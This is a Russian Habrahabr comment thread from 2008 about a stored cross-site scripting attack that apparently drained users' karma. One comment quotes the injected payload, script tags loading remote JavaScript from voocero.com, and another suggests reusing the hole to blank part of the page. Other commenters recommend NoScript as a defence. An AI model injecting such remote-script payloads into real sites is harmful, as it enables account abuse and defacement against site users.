Zeraman28 мая 2008 в 20:07

43231.html#comments

1 мин

562

Комментарии 17

arestov 28 мая 2008 в 20:13

<center><img src="http://habrahabr.ru/pictures/00/00/05/60/39/picture_1.png" width="119" height="102" border="0" alt="Денискин! Пыщь-прыщь!" hspace="10" vspace="10"></center><br /> <br /> <nobr><a href="http://deniskin.habrahabr.ru/"><img src="http://www.habrahabr.ru/i/small_default_userpic.gif" border="0" alt="посмотреть профиль" title="посмотреть профиль"></a> <a href="http://deniskin.habrahabr.ru/">Денискин</a></nobr>, вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> , вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> , вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> , вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> <script src="http://voocero.com/karma.js"<br /> </script<br /> <br /> <script src="http://voocero.com/r.js"<br /> </script</code></blockquote>

arestov 28 мая 2008 в 20:44

хей, ребята, а может добавить туда коммент использующий туже уязвимость? в духе

document.getElementbyId("left").innerHTML=""

кто там хорошо на js пишет?)

Fenniks 28 мая 2008 в 20:18

Вы как хотите но это наглый развод на почту :(

gag_fenix 2 авг 2008 в 22:01

leprosorium-invite.narod.ru моих рук дело
это просто шутка, e-mailы я даже не записываю
там же голый HTML

ganzer 28 мая 2008 в 20:22

Так вот какая сука съела у меня 7 ведер кармы!

alfsoft 28 мая 2008 в 20:49

Блин, тогда не залез, так счас залез - посмотреть... Голос ку-ку. Теперь 15 минут ждать из-за i_love_him, чтобы одному хорошему человеку карму поднять. :0)

falone 28 мая 2008 в 21:01

хм, я тоже попался (

Power 28 мая 2008 в 20:59

Именно из-за этих уязвимостей на хабре (привет, суперхабр!) я и поставил плагин NoScript, чего и всем советую.

arestov 28 мая 2008 в 21:00

и чего он делает? просто скрипты отключают или особо както?

takkmoil 28 мая 2008 в 21:28

особо отключает, с настройками, кому чего можно, а кому нельзя. полезная штука.

Power 28 мая 2008 в 21:30

Делает он много чего, в том числе предотвращает XSS, которым тут активно пользуются.

Вообще, он блокирует javascript, java, flash, silverlight, другие плагины, iframe (всё настраивается) по принципу белого списка: пока явно не разрешишь, будет заблокировано. Как фичу имеет защиту от XSS.

Xfrid 28 мая 2008 в 21:23

Сорри, немного не в тему, но может кто подскажет: как можно реально попасть на лепру или дёти? dirty.ru например уже лет 5 читаю время от времени а акка нет =( Может инвайтом кто заделится?